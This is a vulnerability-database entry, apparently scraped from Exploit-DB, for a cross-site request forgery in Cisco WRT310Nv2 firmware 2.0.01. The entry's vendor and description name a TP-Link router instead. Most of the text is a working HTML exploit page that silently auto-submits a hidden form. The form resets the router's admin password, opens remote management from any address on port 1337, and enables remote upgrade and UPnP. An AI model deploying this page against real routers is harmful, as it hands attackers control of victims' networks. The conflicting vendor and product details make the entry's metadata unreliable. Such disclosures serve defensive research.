Cisco WRT310Nv2 Firmware v2.0.01 CSRF/XSS

vendor:

TL-WR1043N

by:

Jacob Holcomb

8,8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: TL-WR1043N

Affected Version From: 2.0.01

Affected Version To: 2.0.01

Patch Exists: Yes

Related CWE: N/A

CPE: h:tp-link:tl-wr1043n

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

Cisco WRT310Nv2 Firmware v2.0.01 CSRF/XSS

The TP-Link TL-WR1043N Router is prone to a cross-site request-forgery vulnerability. Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected device. An attacker can craft a malicious HTML page containing a form with hidden inputs that will automatically submit the form to the vulnerable router. The form contains parameters that will enable remote management, remote upgrade, and UPnP.

Mitigation:

Ensure that the router is running the latest version of the firmware and that all security patches have been applied.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/59442/info

The TP-Link TL-WR1043N Router is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected device. 

d> <title>Cisco WRT310Nv2 Firmware v2.0.01 CSRF/XSS</title> <!--*Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators --> </head> <body> <form name="CSRFxssPWN" action="http://ww.example.com/apply.cgi" method="post"/> <input type="hidden" name="submit_button" value="Management"/> <input type="hidden" name="action" value="Apply"/> <input type="hidden" name="PasswdModify" value="1"/> <input type="hidden" name="http_enable" value="1"/> <input type="hidden" name="wait_time" value="0"/> <input type="hidden" name="http_passwd" value="ISE_1337"/> <input type="hidden" name="http_passwdConfirm" value="ISE_1337"/> <input type="hidden" name="_http_enable" value="1"/> <input type="hidden" name="remote_management" value="1"/> <input type="hidden" name="remote_upgrade" value="1"/> <input type="hidden" name="remote_ip_any" value="1"/> <input type="hidden" name="http_wanport" value="1337"/> <input type="hidden" name="upnp_enable" value="1"/> <input type="hidden" name="upnp_config" value="1"/> <input type="hidden" name="upnp_internet_dis" value="1"/> </form> <script> function PwN() {document.CSRFxssPWN.submit();}; window.setTimeout(PwN, 0025); </script> <body> </html>